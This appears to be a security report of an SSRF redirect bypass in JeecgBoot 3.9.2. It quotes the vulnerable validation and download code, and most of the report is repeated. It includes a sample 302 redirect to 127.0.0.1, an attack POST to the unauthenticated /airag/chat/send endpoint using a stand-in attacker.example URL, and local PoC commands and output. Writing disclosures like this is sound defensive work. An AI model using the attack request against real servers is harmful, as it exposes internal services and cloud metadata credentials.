Summary
JeecgBoot 3.9.2 added SsrfFileTypeFilter.checkSsrfHttpUrl() to protect several server-side HTTP download paths from SSRF. The check validates only the original user-supplied URL. The subsequent download still uses URLConnection / HttpURLConnection with default redirect handling, so an attacker-controlled allowed URL can pass validation and then redirect the server to a blocked target such as 127.0.0.1 or 169.254.169.254.
This is a bypass of the SSRF fixes for the AI attachment and AI poster download paths.
Reporter credit requested:
shanjijian shanjijian@gmail.com
Tested repository
Repository:
https://github.com/jeecgboot/JeecgBoot
Tested commit:
3f826c440d6c5ae15bb25101a5d2055c6ad90a80
Tested version:
JeecgBoot 3.9.2
Background
The project has already fixed earlier SSRF reports in this area:
issues/9578: AiragChatServiceImpl.ensureLocalFile SSRF
issues/9579: AiragChatServiceImpl.uploadImage SSRF
The current issue is not the original missing-validation bug. It is a redirect bypass in the new validation design.
Details
SSRF validation only checks the initial URL
Relevant code:
jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/filter/SsrfFileTypeFilter.java
public static void checkSsrfHttpUrl(String fileUrl) {
URI uri;
try {
uri = new URI(fileUrl);
} catch (URISyntaxException e) {
throw new JeecgBootException("非法URL:格式错误");
}
String scheme = uri.getScheme();
if (scheme == null || !(scheme.equalsIgnoreCase("http") || scheme.equalsIgnoreCase("https"))) {
throw new JeecgBootException("非法URL:仅允许 http / https 协议");
}
String host = uri.getHost();
if (StringUtils.isBlank(host)) {
throw new JeecgBootException("非法URL:主机名为空");
}
if (host.startsWith("[") && host.endsWith("]")) {
host = host.substring(1, host.length() - 1);
}
try {
for (InetAddress addr : InetAddress.getAllByName(host)) {
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()) {
throw new JeecgBootException("非法URL:禁止访问本机或链路本地地址 " + addr.getHostAddress());
}
}
} catch (UnknownHostException e) {
throw new JeecgBootException("非法URL:主机名无法解析");
}
}
The filter resolves and checks only uri.getHost() from the original URL. It does not disable redirects and does not revalidate the final redirected URL.
Download code follows redirects after validation
Relevant code:
jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/FileDownloadUtils.java
public static String download2DiskFromNet(String fileUrl, String storePath) {
SsrfFileTypeFilter.checkSsrfHttpUrl(fileUrl);
try {
URL url = new URL(fileUrl);
URLConnection conn = url.openConnection();
conn.setConnectTimeout(3 * 1000);
conn.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)");
...
try (InputStream inStream = conn.getInputStream();
FileOutputStream fs = new FileOutputStream(file);) {
...
}
}
}
public static InputStream getDownInputStream(String fileUrl, String uploadUrl) {
if (oConvertUtils.isNotEmpty(fileUrl) && fileUrl.startsWith(CommonConstant.STR_HTTP)) {
SsrfFileTypeFilter.checkSsrfHttpUrl(fileUrl);
URL url = new URL(fileUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setConnectTimeout(5000);
connection.setReadTimeout(30000);
return connection.getInputStream();
}
...
}
For HTTP URLs, Java HttpURLConnection follows redirects by default. Because only the initial URL is checked, a safe-looking URL can redirect to a loopback or link-local target after the validation step.
Affected call paths
Unauthenticated AI attachment path:
jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/app/controller/AiragChatController.java
@IgnoreAuth
@PostMapping(value = "/send")
public SseEmitter send(@RequestBody ChatSendParams chatSendParams) {
return chatService.send(chatSendParams);
}
AiragChatServiceImpl.ensureLocalFile() calls:
SsrfFileTypeFilter.checkSsrfHttpUrl(fileRef);
FileDownloadUtils.download2DiskFromNet(fileRef, tempFilePath);
Authenticated AI poster path:
AiragChatServiceImpl.uploadImage() calls:
SsrfFileTypeFilter.checkSsrfHttpUrl(value);
InputStream inputStream = FileDownloadUtils.getDownInputStream(value, "");
Local PoC
I reproduced the issue locally without touching any third-party system.
PoC file:
work/cve-hunt7/JeecgBootSsrfRedirectBypassRepro.java
The PoC starts two local HTTP servers:
- A redirector reachable through a non-loopback local address.
- A protected loopback-only server on
127.0.0.1.
The initial URL passes the JeecgBoot-style SSRF check because it resolves to a non-loopback address. The redirector then returns 302 Location: http://127.0.0.1:<port>/secret.txt. The JeecgBoot-style download code follows the redirect and reads the loopback response.
Command:
javac work/cve-hunt7/JeecgBootSsrfRedirectBypassRepro.java
java -cp work/cve-hunt7 JeecgBootSsrfRedirectBypassRepro 10.253.23.49
Observed result:
initialCheck=PASS http://10.253.23.49:62499/redirect
body=loopback-secret-from-127.0.0.1
loopbackHits=1
This confirms that the initial SSRF validation can pass while the actual server-side request reaches 127.0.0.1.
HTTP-level attack scenario
For the unauthenticated AI attachment path, an attacker can host:
HTTP/1.1 302 Found
Location: http://127.0.0.1:8080/internal.txt
Then submit a URL ending with an allowed file extension:
POST /airag/chat/send HTTP/1.1
Host: target.example
Content-Type: application/json
{
"content": "Please summarize the attached content",
"files": [
"https://attacker.example/redirect.txt"
],
"conversationId": "test",
"appId": "default"
}
redirect.txt passes the file extension allowlist. The server validates attacker.example, follows the redirect, downloads the loopback/internal resource, parses it, and injects the resulting text into the AI prompt.
Impact
An attacker can bypass JeecgBoot's new SSRF protection by using an attacker-controlled redirect endpoint. Depending on deployment and enabled modules, this can allow server-side access to:
- loopback-only services,
- cloud metadata endpoints such as
169.254.169.254,
- internal admin panels or APIs,
- internal files exposed over HTTP.
The unauthenticated /airag/chat/send path is especially sensitive because downloaded attachment text is parsed and used in the AI chat flow, which may expose internal response content back to the attacker.
Severity
Suggested severity:
High
Suggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Score: 8.6
Rationale:
- Network exploitable.
- Low attack complexity.
- No privileges required for the
/airag/chat/send path because it is annotated with @IgnoreAuth.
- No user interaction required.
- Main impact is confidentiality through internal response disclosure, with possible integrity/availability impact depending on internal reachable services.
CWE
CWE-918: Server-Side Request Forgery (SSRF)
Affected versions
Confirmed affected:
- JeecgBoot 3.9.2 at commit
3f826c440d6c5ae15bb25101a5d2055c6ad90a80
Likely affected:
- Versions containing the
checkSsrfHttpUrl() fix while still using redirect-following URLConnection / HttpURLConnection download code.
Suggested fixes
Recommended fixes:
- Disable automatic redirects on
HttpURLConnection / URLConnection request paths that fetch user-controlled URLs.
- If redirects are allowed, manually process each redirect hop and re-run SSRF validation on every
Location URL before following it.
- Validate the final connected address, not only the original hostname.
- Block loopback, link-local, multicast, site-local/private ranges, and cloud metadata addresses unless there is an explicit allowlist requirement.
- Prefer an allowlist of trusted storage hosts for AI attachment and image import features.
- Add regression tests for:
- allowed host redirecting to
127.0.0.1,
- allowed host redirecting to
169.254.169.254,
- redirect chains,
- protocol-changing redirects,
- DNS rebinding/final-IP validation behavior.
Submission channel
The repository currently has no SECURITY.md and no published GitHub Security Advisories. Existing security issues in this area were reported through GitHub issues:
Suggested submission URL:
https://github.com/jeecgboot/JeecgBoot/issues/new/choose
JeecgBootSsrfRedirectBypassRepro.java
Summary
JeecgBoot 3.9.2 added
SsrfFileTypeFilter.checkSsrfHttpUrl()to protect several server-side HTTP download paths from SSRF. The check validates only the original user-supplied URL. The subsequent download still usesURLConnection/HttpURLConnectionwith default redirect handling, so an attacker-controlled allowed URL can pass validation and then redirect the server to a blocked target such as127.0.0.1or169.254.169.254.This is a bypass of the SSRF fixes for the AI attachment and AI poster download paths.
Reporter credit requested:
shanjijian shanjijian@gmail.com
Tested repository
Repository:
https://github.com/jeecgboot/JeecgBoot
Tested commit:
3f826c440d6c5ae15bb25101a5d2055c6ad90a80Tested version:
JeecgBoot 3.9.2
Background
The project has already fixed earlier SSRF reports in this area:
issues/9578:AiragChatServiceImpl.ensureLocalFileSSRFissues/9579:AiragChatServiceImpl.uploadImageSSRFThe current issue is not the original missing-validation bug. It is a redirect bypass in the new validation design.
Details
SSRF validation only checks the initial URL
Relevant code:
jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/filter/SsrfFileTypeFilter.javaThe filter resolves and checks only
uri.getHost()from the original URL. It does not disable redirects and does not revalidate the final redirected URL.Download code follows redirects after validation
Relevant code:
jeecg-boot/jeecg-boot-base-core/src/main/java/org/jeecg/common/util/FileDownloadUtils.javaFor HTTP URLs, Java
HttpURLConnectionfollows redirects by default. Because only the initial URL is checked, a safe-looking URL can redirect to a loopback or link-local target after the validation step.Affected call paths
Unauthenticated AI attachment path:
jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/app/controller/AiragChatController.javaAiragChatServiceImpl.ensureLocalFile()calls:Authenticated AI poster path:
AiragChatServiceImpl.uploadImage()calls:Local PoC
I reproduced the issue locally without touching any third-party system.
PoC file:
work/cve-hunt7/JeecgBootSsrfRedirectBypassRepro.javaThe PoC starts two local HTTP servers:
127.0.0.1.The initial URL passes the JeecgBoot-style SSRF check because it resolves to a non-loopback address. The redirector then returns
302 Location: http://127.0.0.1:<port>/secret.txt. The JeecgBoot-style download code follows the redirect and reads the loopback response.Command:
Observed result:
This confirms that the initial SSRF validation can pass while the actual server-side request reaches
127.0.0.1.HTTP-level attack scenario
For the unauthenticated AI attachment path, an attacker can host:
Then submit a URL ending with an allowed file extension:
redirect.txtpasses the file extension allowlist. The server validatesattacker.example, follows the redirect, downloads the loopback/internal resource, parses it, and injects the resulting text into the AI prompt.Impact
An attacker can bypass JeecgBoot's new SSRF protection by using an attacker-controlled redirect endpoint. Depending on deployment and enabled modules, this can allow server-side access to:
169.254.169.254,The unauthenticated
/airag/chat/sendpath is especially sensitive because downloaded attachment text is parsed and used in the AI chat flow, which may expose internal response content back to the attacker.Severity
Suggested severity:
High
Suggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:LScore: 8.6
Rationale:
/airag/chat/sendpath because it is annotated with@IgnoreAuth.CWE
CWE-918: Server-Side Request Forgery (SSRF)
Affected versions
Confirmed affected:
3f826c440d6c5ae15bb25101a5d2055c6ad90a80Likely affected:
checkSsrfHttpUrl()fix while still using redirect-followingURLConnection/HttpURLConnectiondownload code.Suggested fixes
Recommended fixes:
HttpURLConnection/URLConnectionrequest paths that fetch user-controlled URLs.LocationURL before following it.127.0.0.1,169.254.169.254,Submission channel
The repository currently has no
SECURITY.mdand no published GitHub Security Advisories. Existing security issues in this area were reported through GitHub issues:Suggested submission URL:
https://github.com/jeecgboot/JeecgBoot/issues/new/choose
JeecgBootSsrfRedirectBypassRepro.java